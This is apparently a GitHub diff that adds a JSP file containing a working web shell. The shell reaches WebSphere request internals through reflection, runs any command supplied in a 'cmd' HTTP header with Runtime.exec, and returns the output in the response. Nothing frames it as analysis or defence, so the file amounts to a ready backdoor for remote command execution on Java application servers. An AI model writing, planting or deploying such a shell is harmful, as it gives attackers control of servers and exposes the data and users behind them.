File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ <%@ page contentType =" text/html;charset=UTF-8" language =" java" %>
2+ <%
3+ Class clazz = Thread . currentThread(). getClass();
4+ java.lang.reflect. Field field = clazz. getDeclaredField(" wsThreadLocals" );
5+ field. setAccessible(true );
6+ Object obj = field. get(Thread . currentThread());
7+
8+ Object [] obj_arr = (Object []) obj;
9+ for (int i = 0 ; i < obj_arr. length; i++ ){
10+ Object o = obj_arr[i];
11+ if (o == null ) continue ;
12+
13+ if (o. getClass(). getName(). endsWith(" WebContainerRequestState" )){
14+ Object req = o. getClass(). getMethod(" getCurrentThreadsIExtendedRequest" , new Class [0 ]). invoke(o, new Object [0 ]);
15+ Object resp = o. getClass(). getMethod(" getCurrentThreadsIExtendedResponse" , new Class [0 ]). invoke(o, new Object [0 ]);
16+
17+ String cmd = (String ) req. getClass(). getMethod(" getHeader" , new Class []{String . class}). invoke(req, new Object []{" cmd" });
18+ if (cmd != null && ! cmd. isEmpty()){
19+ String res = new java.util. Scanner (Runtime . getRuntime(). exec(cmd). getInputStream()). useDelimiter(" \\ A" ). next();
20+
21+ java.io. PrintWriter printWriter = (java.io. PrintWriter )resp. getClass(). getMethod(" getWriter" , new Class [0 ]). invoke(resp, new Object [0 ]);
22+ printWriter. println(res);
23+ }
24+
25+ break ;
26+ }
27+ }
28+ % >
You can’t perform that action at this time.
0 commit comments